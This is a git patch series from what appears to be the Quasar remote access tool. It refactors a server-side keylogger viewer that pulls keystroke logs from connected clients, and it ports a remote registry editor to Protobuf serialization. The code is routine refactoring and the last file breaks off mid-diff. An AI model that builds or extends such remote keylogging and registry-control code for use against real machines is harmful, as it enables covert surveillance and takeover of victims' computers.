this.btnGetLogs = new System.Windows.Forms.Button(); this.wLogViewer = new System.Windows.Forms.WebBrowser(); + this.stripLblStatus = new System.Windows.Forms.ToolStripStatusLabel(); + this.statusStrip.SuspendLayout(); this.SuspendLayout(); // // lstLogs @@ -60,6 +62,8 @@ private void InitializeComponent() // // statusStrip // + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.stripLblStatus}); this.statusStrip.Location = new System.Drawing.Point(0, 460); this.statusStrip.Name = "statusStrip"; this.statusStrip.Size = new System.Drawing.Size(862, 22); @@ -88,6 +92,12 @@ private void InitializeComponent() this.wLogViewer.Size = new System.Drawing.Size(708, 409); this.wLogViewer.TabIndex = 8; // + // stripLblStatus + // + this.stripLblStatus.Name = "stripLblStatus"; + this.stripLblStatus.Size = new System.Drawing.Size(77, 17); + this.stripLblStatus.Text = "Status: Ready"; + // // FrmKeylogger // this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); @@ -105,6 +115,8 @@ private void InitializeComponent() this.Text = "Keylogger []"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmKeylogger_FormClosing); this.Load += new System.EventHandler(this.FrmKeylogger_Load); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); this.ResumeLayout(false); this.PerformLayout(); @@ -117,8 +129,6 @@ private void InitializeComponent() private System.Windows.Forms.WebBrowser wLogViewer; private System.Windows.Forms.ListView lstLogs; private System.Windows.Forms.Button btnGetLogs; - - - + private System.Windows.Forms.ToolStripStatusLabel stripLblStatus; } } \ No newline at end of file diff --git a/Server/Forms/FrmKeylogger.cs b/Server/Forms/FrmKeylogger.cs index 920a80753..75d6e83ba 100644 --- a/Server/Forms/FrmKeylogger.cs +++ b/Server/Forms/FrmKeylogger.cs @@ -1,7 +1,9 @@ -using System; +using Quasar.Common.Messages; +using System; +using System.Collections.Generic; using System.IO; using System.Windows.Forms; -using Quasar.Common.Messages; +using xServer.Core.Commands; using xServer.Core.Helper; using xServer.Core.Networking; @@ -9,87 +11,150 @@ namespace xServer.Forms { public partial class FrmKeylogger : Form { + /// + /// The client which can be used for the keylogger. + /// private readonly Client _connectClient; - private readonly string _path; - public FrmKeylogger(Client c) + /// + /// The message handler for handling the communication with the client. + /// + private readonly KeyloggerHandler _keyloggerHandler; + + /// + /// Path to the base download directory of the client. + /// + private readonly string _baseDownloadPath; + + /// + /// Holds the opened keylogger form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new keylogger form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the keylogger form. + /// + /// Returns a new keylogger form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmKeylogger CreateNewOrGetExisting(Client client) { - _connectClient = c; - _connectClient.Value.FrmKl = this; - _path = Path.Combine(_connectClient.Value.DownloadDirectory, "Logs\\"); - InitializeComponent(); + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmKeylogger f = new FrmKeylogger(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; } - private void FrmKeylogger_Load(object sender, EventArgs e) + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the keylogger form. + public FrmKeylogger(Client client) { - if (_connectClient != null) - { - this.Text = WindowHelper.GetWindowTitle("Keylogger", _connectClient); + _connectClient = client; + _keyloggerHandler = new KeyloggerHandler(client); - if (!Directory.Exists(_path)) - { - Directory.CreateDirectory(_path); - return; - } + _baseDownloadPath = Path.Combine(_connectClient.Value.DownloadDirectory, "Logs\\"); - DirectoryInfo dicInfo = new DirectoryInfo(_path); + RegisterMessageHandler(); + InitializeComponent(); + } - FileInfo[] iFiles = dicInfo.GetFiles(); + /// + /// Registers the keylogger message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _keyloggerHandler.ProgressChanged += LogsChanged; + MessageHandler.Register(_keyloggerHandler); + } - foreach (FileInfo file in iFiles) - { - lstLogs.Items.Add(new ListViewItem() { Text = file.Name }); - } - } + /// + /// Unregisters the keylogger message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_keyloggerHandler); + _keyloggerHandler.ProgressChanged -= LogsChanged; + _connectClient.ClientState -= ClientDisconnected; } - private void btnGetLogs_Click(object sender, EventArgs e) + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) { - btnGetLogs.Enabled = false; - lstLogs.Items.Clear(); + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } - _connectClient.Send(new GetKeyloggerLogs()); + /// + /// Called whenever the keylogger logs finished retrieving. + /// + /// The message processor which raised the event. + /// The status message. + private void LogsChanged(object sender, string message) + { + RefreshLogsDirectory(); + btnGetLogs.Enabled = true; + statusStrip.Text = "Status: " + message; } - private void lstLogs_ItemActivate(object sender, EventArgs e) + private void FrmKeylogger_Load(object sender, EventArgs e) { - if (lstLogs.SelectedItems.Count > 0) + this.Text = WindowHelper.GetWindowTitle("Keylogger", _connectClient); + + if (!Directory.Exists(_baseDownloadPath)) { - wLogViewer.Navigate(Path.Combine(_path, lstLogs.SelectedItems[0].Text)); + Directory.CreateDirectory(_baseDownloadPath); + return; } + + RefreshLogsDirectory(); } private void FrmKeylogger_FormClosing(object sender, FormClosingEventArgs e) { - if (_connectClient.Value != null) - _connectClient.Value.FrmKl = null; + UnregisterMessageHandler(); + _keyloggerHandler.Dispose(); } - public void AddLogToListview(string logName) + private void btnGetLogs_Click(object sender, EventArgs e) { - try - { - lstLogs.Invoke((MethodInvoker) delegate - { - lstLogs.Items.Add(new ListViewItem {Text = logName}); - }); - } - catch (InvalidOperationException) - { - } + btnGetLogs.Enabled = false; + statusStrip.Text = "Status: Retrieving logs..."; + _keyloggerHandler.RetrieveLogs(); } - public void SetGetLogsEnabled(bool enabled) + private void lstLogs_ItemActivate(object sender, EventArgs e) { - try + if (lstLogs.SelectedItems.Count > 0) { - btnGetLogs.Invoke((MethodInvoker) delegate - { - btnGetLogs.Enabled = enabled; - }); + wLogViewer.Navigate(Path.Combine(_baseDownloadPath, lstLogs.SelectedItems[0].Text)); } - catch (InvalidOperationException) + } + + private void RefreshLogsDirectory() + { + lstLogs.Items.Clear(); + + DirectoryInfo dicInfo = new DirectoryInfo(_baseDownloadPath); + + FileInfo[] iFiles = dicInfo.GetFiles(); + + foreach (FileInfo file in iFiles) { + lstLogs.Items.Add(new ListViewItem {Text = file.Name}); } } } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index ca055c29b..41f2087d9 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -698,13 +698,9 @@ private void keyloggerToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmKl != null) - { - c.Value.FrmKl.Focus(); - return; - } - FrmKeylogger frmKL = new FrmKeylogger(c); - frmKL.Show(); + FrmKeylogger frmKl = FrmKeylogger.CreateNewOrGetExisting(c); + frmKl.Show(); + frmKl.Focus(); } } diff --git a/Server/Server.csproj b/Server/Server.csproj index d22fb763f..4cb9ee503 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -113,6 +113,7 @@ + From 4a73d8816dec2a043972641875aeddd44bbc16a9 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 19 Sep 2018 20:34:31 +0200 Subject: [PATCH 128/229] Make Registry Editor work with Protobuf --- Client/Core/Commands/RegistryHandler.cs | 3 +- .../Core/Extensions/RegistryKeyExtensions.cs | 23 +- Client/Core/Helper/RegistryKeyHelper.cs | 45 +++- Client/Core/Registry/RegistryEditor.cs | 5 +- Client/Core/Registry/RegistrySeeker.cs | 2 +- Quasar.Common/IO/FileSplit.cs | 1 + Quasar.Common/Models/RegValueData.cs | 8 +- Quasar.Common/Quasar.Common.csproj | 1 + .../Utilities/ByteConverter.cs | 3 +- Server/Controls/RegistryValueLstItem.cs | 12 +- Server/Core/Commands/RegistryHandler.cs | 209 ++++-------------- Server/Core/Commands/RegistryHandlerOld.cs | 189 ++++++++++++++++ Server/Core/Registry/RegValueHelper.cs | 30 ++- Server/Forms/FrmRegValueEditBinary.cs | 81 +------ Server/Forms/FrmRegValueEditMultiString.cs | 34 +-- Server/Forms/FrmRegValueEditString.cs | 30 +-- Server/Forms/FrmRegValueEditWord.cs | 44 ++-- Server/Forms/FrmRegistryEditor.cs | 60 +++-- Server/Server.csproj | 2 +- 19 files changed, 422 insertions(+), 360 deletions(-) rename {Server/Core => Quasar.Common}/Utilities/ByteConverter.cs (98%) create mode 100644 Server/Core/Commands/RegistryHandlerOld.cs diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs index e80967919..c760283be 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ b/Client/Core/Commands/RegistryHandler.cs @@ -121,8 +121,7 @@ public static void HandleCreateRegistryValue(DoCreateRegistryValue packet, Clien errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; - responsePacket.Value = - new RegValueData {Name = newKeyName, Kind = packet.Kind, Data = packet.Kind.GetDefault()}; + responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault()); responsePacket.KeyPath = packet.KeyPath; client.Send(responsePacket); diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs index 67d9a5131..9298397da 100644 --- a/Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Client/Core/Extensions/RegistryKeyExtensions.cs @@ -2,6 +2,7 @@ using Microsoft.Win32; using System.Linq; using System; +using Quasar.Common.Utilities; namespace xClient.Core.Extensions { @@ -233,11 +234,31 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) /// The name of the value. /// The data of the value /// The value kind of the value - /// Returns a boolean value if the action succeded or failed. + /// Returns a boolean value if the action succeeded or failed. public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind) { try { + // handle type conversion + if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[])) + { + switch (kind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + data = ByteConverter.ToString((byte[]) data); + break; + case RegistryValueKind.DWord: + data = ByteConverter.ToUInt32((byte[]) data); + break; + case RegistryValueKind.QWord: + data = ByteConverter.ToUInt64((byte[]) data); + break; + case RegistryValueKind.MultiString: + data = ByteConverter.ToStringArray((byte[]) data); + break; + } + } key.SetValue(name, data, kind); return true; } diff --git a/Client/Core/Helper/RegistryKeyHelper.cs b/Client/Core/Helper/RegistryKeyHelper.cs index 2b5dd93b6..4406300de 100644 --- a/Client/Core/Helper/RegistryKeyHelper.cs +++ b/Client/Core/Helper/RegistryKeyHelper.cs @@ -1,9 +1,10 @@ -using System; +using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using System; +using System.Collections.Generic; using System.Linq; -using Microsoft.Win32; using xClient.Core.Extensions; -using System.Collections.Generic; -using Quasar.Common.Models; namespace xClient.Core.Helper { @@ -114,12 +115,44 @@ public static RegValueData[] AddDefaultValue(List values) /// A array with the default registry values public static RegValueData[] GetDefaultValues() { - return new RegValueData[] { GetDefaultValue() }; + return new[] {GetDefaultValue()}; + } + + public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null) + { + var newRegValue = new RegValueData {Name = name, Kind = kind}; + + if (value == null) + newRegValue.Data = new byte[] { }; + else + { + switch (newRegValue.Kind) + { + case RegistryValueKind.Binary: + newRegValue.Data = (byte[]) value; + break; + case RegistryValueKind.MultiString: + newRegValue.Data = ByteConverter.GetBytes((string[]) value); + break; + case RegistryValueKind.DWord: + newRegValue.Data = ByteConverter.GetBytes((uint) (int) value); + break; + case RegistryValueKind.QWord: + newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + newRegValue.Data = ByteConverter.GetBytes((string) value); + break; + } + } + + return newRegValue; } private static RegValueData GetDefaultValue() { - return new RegValueData {Name = DEFAULT_VALUE, Kind = RegistryValueKind.String, Data = null}; + return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String); } } } diff --git a/Client/Core/Registry/RegistryEditor.cs b/Client/Core/Registry/RegistryEditor.cs index 09d804338..7e67dfb99 100644 --- a/Client/Core/Registry/RegistryEditor.cs +++ b/Client/Core/Registry/RegistryEditor.cs @@ -1,9 +1,6 @@ using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; using Quasar.Common.Models; +using System; using xClient.Core.Extensions; using xClient.Core.Helper; diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Client/Core/Registry/RegistrySeeker.cs index 6669ba5f3..8938ae340 100644 --- a/Client/Core/Registry/RegistrySeeker.cs +++ b/Client/Core/Registry/RegistrySeeker.cs @@ -103,7 +103,7 @@ private void ProcessKey(RegistryKey key, string keyName) { RegistryValueKind valueType = key.GetValueKind(valueName); object valueData = key.GetValue(valueName); - values.Add(new RegValueData {Name = valueName, Kind = valueType, Data = valueData}); + values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData)); } AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount); diff --git a/Quasar.Common/IO/FileSplit.cs b/Quasar.Common/IO/FileSplit.cs index a46e4ff8f..902c5051c 100644 --- a/Quasar.Common/IO/FileSplit.cs +++ b/Quasar.Common/IO/FileSplit.cs @@ -3,6 +3,7 @@ namespace Quasar.Common.IO { + // TODO: Refactor in yield Block.Next() ... public class FileSplit { private int _maxBlocks; diff --git a/Quasar.Common/Models/RegValueData.cs b/Quasar.Common/Models/RegValueData.cs index 22009e883..08a96b6f6 100644 --- a/Quasar.Common/Models/RegValueData.cs +++ b/Quasar.Common/Models/RegValueData.cs @@ -13,12 +13,6 @@ public class RegValueData public RegistryValueKind Kind { get; set; } [ProtoMember(3)] - public object Data { get; set; } - // TODO: Fix Object - - public override string ToString() - { - return $"({Name}:{Kind}:{Data})"; - } + public byte[] Data { get; set; } } } diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index d53bf285b..0c62fc6aa 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -145,6 +145,7 @@ + diff --git a/Server/Core/Utilities/ByteConverter.cs b/Quasar.Common/Utilities/ByteConverter.cs similarity index 98% rename from Server/Core/Utilities/ByteConverter.cs rename to Quasar.Common/Utilities/ByteConverter.cs index 2272ccfea..9d61baf65 100644 --- a/Server/Core/Utilities/ByteConverter.cs +++ b/Quasar.Common/Utilities/ByteConverter.cs @@ -1,9 +1,8 @@ using System; using System.Collections.Generic; -using System.Linq; using System.Text; -namespace xServer.Core.Utilities +namespace Quasar.Common.Utilities { public class ByteConverter { diff --git a/Server/Controls/RegistryValueLstItem.cs b/Server/Controls/RegistryValueLstItem.cs index 6b5e82a85..c9d8a2ea0 100644 --- a/Server/Controls/RegistryValueLstItem.cs +++ b/Server/Controls/RegistryValueLstItem.cs @@ -1,10 +1,5 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.Linq; -using System.Text; +using Quasar.Common.Models; using System.Windows.Forms; -using Quasar.Common.Models; using xServer.Core.Extensions; using xServer.Core.Registry; @@ -51,12 +46,11 @@ public string Data { } } - public RegistryValueLstItem(RegValueData value) : - base() + public RegistryValueLstItem(RegValueData value) { RegName = value.Name; Type = value.Kind.RegistryTypeToString(); - Data = value.Kind.RegistryTypeToString(value.Data); + Data = RegValueHelper.RegistryValueToString(value); } private int GetRegistryValueImgIndex(string type) diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs index f67027a94..05607a850 100644 --- a/Server/Core/Commands/RegistryHandler.cs +++ b/Server/Core/Commands/RegistryHandler.cs @@ -1,189 +1,74 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using Quasar.Common.Messages; +using Quasar.Common.Messages; +using Quasar.Common.Networking; using xServer.Core.Networking; namespace xServer.Core.Commands { - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ - public static partial class CommandHandler + public class RegistryHandler : MessageProcessorBase { - + private readonly Client _client; - #region Registry Key - - public static void HandleLoadRegistryKey(GetRegistryKeysResponse packet, Client client) + public RegistryHandler(Client client) : base(true) { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.AddKeys(packet.RootKey, packet.Matches); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - //If root keys failed to load then close the form - if (packet.RootKey == null) - { - //Invoke a closing of the form - client.Value.FrmRe.PerformClose(); - } - } - } - } - catch { } + _client = client; } - public static void HandleCreateRegistryKey(GetCreateRegistryKeyResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.CreateNewKey(packet.ParentPath, packet.Match); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } + /// + public override bool CanExecute(IMessage message) => message is GetRegistryKeysResponse || + message is GetCreateRegistryKeyResponse || + message is GetDeleteRegistryKeyResponse || + message is GetRenameRegistryKeyResponse || + message is GetCreateRegistryValueResponse || + message is GetDeleteRegistryValueResponse || + message is GetRenameRegistryValueResponse || + message is GetChangeRegistryValueResponse; - public static void HandleDeleteRegistryKey(GetDeleteRegistryKeyResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.RemoveKey(packet.ParentPath, packet.KeyName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); - public static void HandleRenameRegistryKey(GetRenameRegistryKeyResponse packet, Client client) + /// + public override void Execute(ISender sender, IMessage message) { - try + switch (message) { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.RenameKey(packet.ParentPath, packet.OldKeyName, packet.NewKeyName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } + case GetRegistryKeysResponse keysResp: + Execute(sender, keysResp); + break; + case GetCreateRegistryKeyResponse createKeysResp: + Execute(sender, createKeysResp); + break; + case GetDeleteRegistryKeyResponse deleteKeysResp: + Execute(sender, deleteKeysResp); + break; + case GetRenameRegistryKeyResponse renameKeysResp: + Execute(sender, renameKeysResp); + break; + case GetCreateRegistryValueResponse createValueResp: + Execute(sender, createValueResp); + break; + case GetDeleteRegistryValueResponse deleteValueResp: + Execute(sender, deleteValueResp); + break; + case GetRenameRegistryValueResponse renameValueResp: + Execute(sender, renameValueResp); + break; + case GetChangeRegistryValueResponse changeValueResp: + Execute(sender, changeValueResp); + break; } - catch { } } - #endregion - - #region Registry Value - - public static void HandleCreateRegistryValue(GetCreateRegistryValueResponse packet, Client client) + private void Execute(ISender client, GetRegistryKeysResponse message) { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.CreateValue(packet.KeyPath, packet.Value); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - public static void HandleDeleteRegistryValue(GetDeleteRegistryValueResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.DeleteValue(packet.KeyPath, packet.ValueName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } } - public static void HandleRenameRegistryValue(GetRenameRegistryValueResponse packet, Client client) + protected override void Dispose(bool disposing) { - try + if (disposing) { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.RenameValue(packet.KeyPath, packet.OldValueName, packet.NewValueName); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } - } - catch { } - } - public static void HandleChangeRegistryValue(GetChangeRegistryValueResponse packet, Client client) - { - try - { - // Make sure that the client is in the correct state to handle the packet appropriately. - if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) - { - if (!packet.IsError) - { - client.Value.FrmRe.ChangeValue(packet.KeyPath, packet.Value); - } - else - { - client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); - } - } } - catch { } } - - #endregion } } diff --git a/Server/Core/Commands/RegistryHandlerOld.cs b/Server/Core/Commands/RegistryHandlerOld.cs new file mode 100644 index 000000000..f68629364 --- /dev/null +++ b/Server/Core/Commands/RegistryHandlerOld.cs @@ -0,0 +1,189 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Quasar.Common.Messages; +using xServer.Core.Networking; + +namespace xServer.Core.Commands +{ + /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ + public static partial class CommandHandler + { + + + #region Registry Key + + public static void HandleLoadRegistryKey(GetRegistryKeysResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.AddKeys(packet.RootKey, packet.Matches); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + //If root keys failed to load then close the form + if (packet.RootKey == null) + { + //Invoke a closing of the form + client.Value.FrmRe.PerformClose(); + } + } + } + } + catch { } + } + + public static void HandleCreateRegistryKey(GetCreateRegistryKeyResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.CreateNewKey(packet.ParentPath, packet.Match); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + + public static void HandleDeleteRegistryKey(GetDeleteRegistryKeyResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.RemoveKey(packet.ParentPath, packet.KeyName); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + + public static void HandleRenameRegistryKey(GetRenameRegistryKeyResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.RenameKey(packet.ParentPath, packet.OldKeyName, packet.NewKeyName); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + + #endregion + + #region Registry Value + + public static void HandleCreateRegistryValue(GetCreateRegistryValueResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.CreateValue(packet.KeyPath, packet.Value); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + + public static void HandleDeleteRegistryValue(GetDeleteRegistryValueResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.DeleteValue(packet.KeyPath, packet.ValueName); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + + public static void HandleRenameRegistryValue(GetRenameRegistryValueResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.RenameValue(packet.KeyPath, packet.OldValueName, packet.NewValueName); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + + public static void HandleChangeRegistryValue(GetChangeRegistryValueResponse packet, Client client) + { + try + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + if (!packet.IsError) + { + client.Value.FrmRe.ChangeValue(packet.KeyPath, packet.Value); + } + else + { + client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); + } + } + } + catch { } + } + + #endregion + } +} diff --git a/Server/Core/Registry/RegValueHelper.cs b/Server/Core/Registry/RegValueHelper.cs index c330728ef..e9e2112c6 100644 --- a/Server/Core/Registry/RegValueHelper.cs +++ b/Server/Core/Registry/RegValueHelper.cs @@ -1,7 +1,7 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; +using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using System; namespace xServer.Core.Registry { @@ -18,5 +18,27 @@ public static string GetName(string valueName) { return IsDefaultValue(valueName) ? DEFAULT_REG_VALUE : valueName; } + + public static string RegistryValueToString(RegValueData value) + { + switch (value.Kind) + { + case RegistryValueKind.Binary: + return value.Data.Length > 0 ? BitConverter.ToString(value.Data).Replace("-", " ").ToLower() : "(zero-length binary value)"; + case RegistryValueKind.MultiString: + return string.Join(" ", ByteConverter.ToStringArray(value.Data)); + case RegistryValueKind.DWord: + var dword = ByteConverter.ToUInt32(value.Data); + return $"0x{dword:x8} ({dword.ToString()})"; // show hexadecimal and decimal + case RegistryValueKind.QWord: + var qword = ByteConverter.ToUInt64(value.Data); + return $"0x{qword:x8} ({qword.ToString()})"; // show hexadecimal and decimal + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ByteConverter.ToString(value.Data); + default: + return string.Empty; + } + } } } diff --git a/Server/Forms/FrmRegValueEditBinary.cs b/Server/Forms/FrmRegValueEditBinary.cs index 0165761f9..bd38d3840 100644 --- a/Server/Forms/FrmRegValueEditBinary.cs +++ b/Server/Forms/FrmRegValueEditBinary.cs @@ -1,106 +1,45 @@ -using System; +using Quasar.Common.Models; +using System; using System.Windows.Forms; -using Microsoft.Win32; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using xServer.Core.Networking; using xServer.Core.Registry; -using xServer.Core.Utilities; namespace xServer.Forms { public partial class FrmRegValueEditBinary : Form { - private readonly Client _connectClient; - private readonly RegValueData _value; - private readonly string _keyPath; - - #region Constant - private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly."; - #endregion - - public FrmRegValueEditBinary(string keyPath, RegValueData value, Client c) + public FrmRegValueEditBinary(RegValueData value) { - _connectClient = c; - _keyPath = keyPath; _value = value; InitializeComponent(); this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); - - if(value.Data == null) - { - hexEditor.HexTable = new byte[] { }; - } - else { - switch(value.Kind) - { - case RegistryValueKind.Binary: - hexEditor.HexTable = (byte[])value.Data; - break; - case RegistryValueKind.DWord: - hexEditor.HexTable = ByteConverter.GetBytes((uint)(int)value.Data); - break; - case RegistryValueKind.QWord: - hexEditor.HexTable = ByteConverter.GetBytes((ulong)(long)value.Data); - break; - case RegistryValueKind.MultiString: - hexEditor.HexTable = ByteConverter.GetBytes((string[])value.Data); - break; - case RegistryValueKind.String: - case RegistryValueKind.ExpandString: - hexEditor.HexTable = ByteConverter.GetBytes(value.Data.ToString()); - break; - } - } + hexEditor.HexTable = value.Data; } - private object GetData() + private void okButton_Click(object sender, EventArgs e) { byte[] bytes = hexEditor.HexTable; if (bytes != null) { try { - switch(_value.Kind) - { - case RegistryValueKind.Binary: - return bytes; - case RegistryValueKind.DWord: - return (int)ByteConverter.ToUInt32(bytes); - case RegistryValueKind.QWord: - return (long)ByteConverter.ToUInt64(bytes); - case RegistryValueKind.MultiString: - return ByteConverter.ToStringArray(bytes); - case RegistryValueKind.String: - case RegistryValueKind.ExpandString: - return ByteConverter.ToString(bytes); - } + _value.Data = bytes; + this.DialogResult = DialogResult.OK; + this.Tag = _value; } catch { ShowWarning(INVALID_BINARY_ERROR, "Warning"); + this.DialogResult = DialogResult.None; } } - return null; - } - private void okButton_Click(object sender, EventArgs e) - { - object valueData = GetData(); - if (valueData != null) - _connectClient.Send(new DoChangeRegistryValue - { - KeyPath = _keyPath, - Value = new RegValueData {Name = _value.Name, Kind = 